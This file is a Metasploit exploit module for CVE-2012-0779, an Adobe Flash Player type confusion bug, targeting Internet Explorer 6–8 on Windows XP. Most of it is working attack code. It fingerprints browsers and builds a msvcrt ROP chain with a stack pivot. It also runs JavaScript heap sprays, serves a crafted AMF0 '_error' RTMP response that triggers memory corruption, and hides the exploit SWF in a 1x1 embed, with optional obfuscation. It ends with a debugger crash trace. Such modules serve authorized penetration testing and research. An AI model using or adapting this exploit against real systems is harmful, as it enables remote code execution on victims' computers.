metasploit-framework/modules/exploits/windows/browser/adobe_flash_rtmp.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "8.0",
		:method     => "GetVariable",
		:classid    => "ShockwaveFlash.ShockwaveFlash",
		:rank       => NormalRanking, # reliable memory corruption
		:javascript => true
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Adobe Flash Player Object Type Confusion",
			'Description'    => %q{
				This module exploits a vulnerability found in Adobe Flash
				Player.  By supplying a corrupt AMF0 "_error" response, it
				is possible to gain arbitrary remote code execution under
				the context of the user.

				This vulnerability has been exploited in the wild as part of
				the "World Uyghur Congress Invitation.doc" e-mail attack.
				According to the advisory, 10.3.183.19 and 11.x before
				11.2.202.235 are affected.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0779' ],
					[ 'OSVDB', '81656'],
					[ 'BID', '53395' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]
				],
			'Payload'        =>
				{
					#'Space'    => 1024,
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Flash Player 11.2.202.228
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'Rop'    => nil,
							'RandomHeap' => false,
							'Offset' => '0x0'
						}
					],
					[
						'IE 7 on Windows XP SP3',
						{
							'Rop'    => nil,
							'RandomHeap' => false,
							'Offset' => '0x0'
						}
					],
					[
						'IE 8 on Windows XP SP3 with msvcrt ROP',
						{
							'Rop' => :msvcrt,
							'RandomHeap' => false,
							'Offset' => '238',
							'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 04 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
				OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
				OptPort.new('RTMPPORT',    [ true, "The local port to RTMP service listen on.", 1935 ]),
			], self.class
		)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		else
			return nil
		end
	end

	def ret(t)
		return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
	end

	def get_rop_chain(t)
		print_status("Using msvcrt ROP")
		p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
		p << payload.encoded

		code = ret(t)
		code << rand_text(119)
		code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
		offset = 2616 - code.length
		code << rand_text(offset)
		code << [ t['StackPivot'] ].pack("V")
		return code
	end

	def get_easy_spray(t, js_code, js_nops)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < 0x185; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end


	def get_aligned_spray(t, js_rop, js_nops)

		spray = <<-JS

		var heap_obj = new heapLib.ie(0x20000);
		var nops = unescape("#{js_nops}");
		var rop_chain = unescape("#{js_rop}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);


		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);


		heap_obj.gc();
		for (var z=1; z < 0x1c5; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	def exploit
		@swf = create_swf

		# Boilerplate required to handled pivoted listeners
		comm = datastore['ListenerComm']
		if comm == "local"
			comm = ::Rex::Socket::Comm::Local
		else
			comm = nil
		end

		@rtmp_listener = Rex::Socket::TcpServer.create(
			'LocalHost' => datastore['RTMPHOST'],
			'LocalPort' => datastore['RTMPPORT'],
			'Comm'      => comm,
			'Context'   => {
				'Msf'        => framework,
				'MsfExploit' => self,
			}
		)

		# Register callbacks
		@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
			add_socket(cli)
			print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
			on_rtmp_connect(cli)
		}

		@rtmp_listener.start

		super
	end

	def my_read(cli,size,timeout=nil)
		if timeout.nil?
			timeout = cli.def_read_timeout
		end

		buf = ""
		::Timeout::timeout(timeout) {
			while buf.length < size
			buf << cli.get_once(size - buf.length)
			end
		}
		buf
	end

	def do_handshake(cli)
		c0 = my_read(cli, 1)
		c1 = my_read(cli, 1536) # HandshakeSize => 1536
		s0 = "\3" # s0
		s1 = Rex::Text.rand_text(4) # s1.time
		s1 << "\x00\x00\x00\x00" # s1.zero
		s1 << Rex::Text.rand_text(1528) # s1.random_data
		s2 = c1 # s2
		cli.put(s0)
		cli.put(s1)
		cli.put(s2)
		c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
	end

	def on_rtmp_connect(cli)

		begin
			do_handshake(cli)
			request = my_read(cli, 341) # connect request length

			case request
			when /connect/
				rtmp_header = "\x03" # Chunk Stream ID
				rtmp_header << "\x00\x00\x00" # Timestamp
				rtmp_header << "\x00\x00\x71" # Body Size
				rtmp_header << "\x14" # AMF0 Command
				rtmp_header << "\x00\x00\x00\x00" # Stream ID

				# String
				rtmp_body = "\x02" # String
				rtmp_body << "\x00\x06" # String length
				rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
				# Array
				rtmp_body << "\x0a" # AMF Type: Array
				rtmp_body << "\x00\x00\x00\x05" # Array length: 5
				# Array elements
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Crafter Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
				# Number
				rtmp_body << "\x00" # AMF Type: Number
				rtmp_body << [rand(0x40000000)].pack("V") +  "\x00\x00\x00\x00" # Number

				trigger = rtmp_header
				trigger << rtmp_body

				cli.put(trigger)
				@rtmp_listener.close_client(cli)
			end
		rescue
		ensure
			@rtmp_listener.close_client(cli)
			remove_socket(cli)
		end

	end

	def cleanup
		super
		return if not @rtmp_listener

		begin
			@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
			if @rtmp_listener.kind_of?(Rex::Socket)
				@rtmp_listener.close
				@rtmp_listener.stop
			end
			@rtmp_listener = nil
		rescue ::Exception
		end
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		print_status("Client requesting: #{request.uri}")

		if request.uri =~ /\.swf$/
			print_status("Sending Exploit SWF")
			send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
			return
		end

		p = payload.encoded
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

		if not my_target['Rop'].nil?
			js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
			js = get_aligned_spray(my_target, js_rop, js_nops)
		else
			js = get_easy_spray(my_target, js_code, js_nops)
		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
		swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

		if datastore['RTMPHOST'] == '0.0.0.0'
			rtmp_host = Rex::Socket.source_address('1.2.3.4')
		else
			rtmp_host = datastore['RTMPHOST']
		end

		rtmp_port = datastore['RTMPPORT']

		html = %Q|
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<center>
		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
		id="test" width="1" height="1"
		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
		<param name="movie" value="#{swf_uri}" />
		<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
		<embed src="#{swf_uri}" quality="high"
		width="1" height="1" name="test" align="middle"
		allowNetworking="all"
		type="application/x-shockwave-flash"
		pluginspage="http://www.macromedia.com/go/getflashplayer"
		FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
		</embed>

		</object>
		</center>

		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def create_swf
		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )
		fd = ::File.open( path, "rb" )
		swf = fd.read(fd.stat.size)
		fd.close

		return swf
	end

end

=begin

* Flash Player 11.2.202.228

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
104b1b30 53              push    ebx
104b1b31 ffd0            call    eax

=end